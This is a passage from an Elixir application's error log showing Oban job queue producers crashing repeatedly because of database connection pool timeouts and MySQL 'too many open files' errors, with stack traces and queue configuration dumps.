#Reference<0.2525715032.1121189889.96866>, refresh_timer: #Reference<0.2525715032.1068236804.238573>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:51:01.241345Z], limit: 3, uuid: "cc80eb71-6c04-4928-bf90-b1b556dbfc05", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:01.241350Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.96864>, refresh_timer: #Reference<0.2525715032.1121189889.96825>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:51:01.239628Z], limit: 20, uuid: "e26d277d-de4a-46e3-be03-9ff88ba0e7be", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:01.239638Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.96809>, refresh_timer: #Reference<0.2525715032.1121189889.96801>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:51:01.241485Z], limit: 5, uuid: "0fa61a80-771c-49be-80ce-5fa5cc1e75e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:01.241491Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.96863>, refresh_timer: #Reference<0.2525715032.1121189889.96829>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:51:01.241908Z], limit: 5, uuid: "17a408c5-3ccc-4cee-8003-2645f0af5f4b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:01.241913Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.96865>, refresh_timer: #Reference<0.2525715032.1099169794.246504>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:16.818000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:17.051000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:18.923000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:21.380000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:21.865000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:51:13.241257Z], limit: 5, uuid: "e6804db6-e7c4-4f2a-b74e-8b1ad9b5ed5f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:13.241265Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238756>, refresh_timer: #Reference<0.2525715032.1068236804.238748>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:51:13.240935Z], limit: 20, uuid: "bea85980-2da5-485f-844a-3b13a303370d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:13.240940Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.222134>, refresh_timer: #Reference<0.2525715032.1077411843.222109>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:51:13.240901Z], limit: 5, uuid: "2cb4b1b1-9898-4c13-8371-3188fafefe14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:13.240906Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238759>, refresh_timer: #Reference<0.2525715032.1077411843.222105>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:51:13.238760Z], limit: 10, uuid: "426e2937-19fc-49eb-8801-5782b78c34b8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:13.238766Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238757>, refresh_timer: #Reference<0.2525715032.1121189889.97052>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
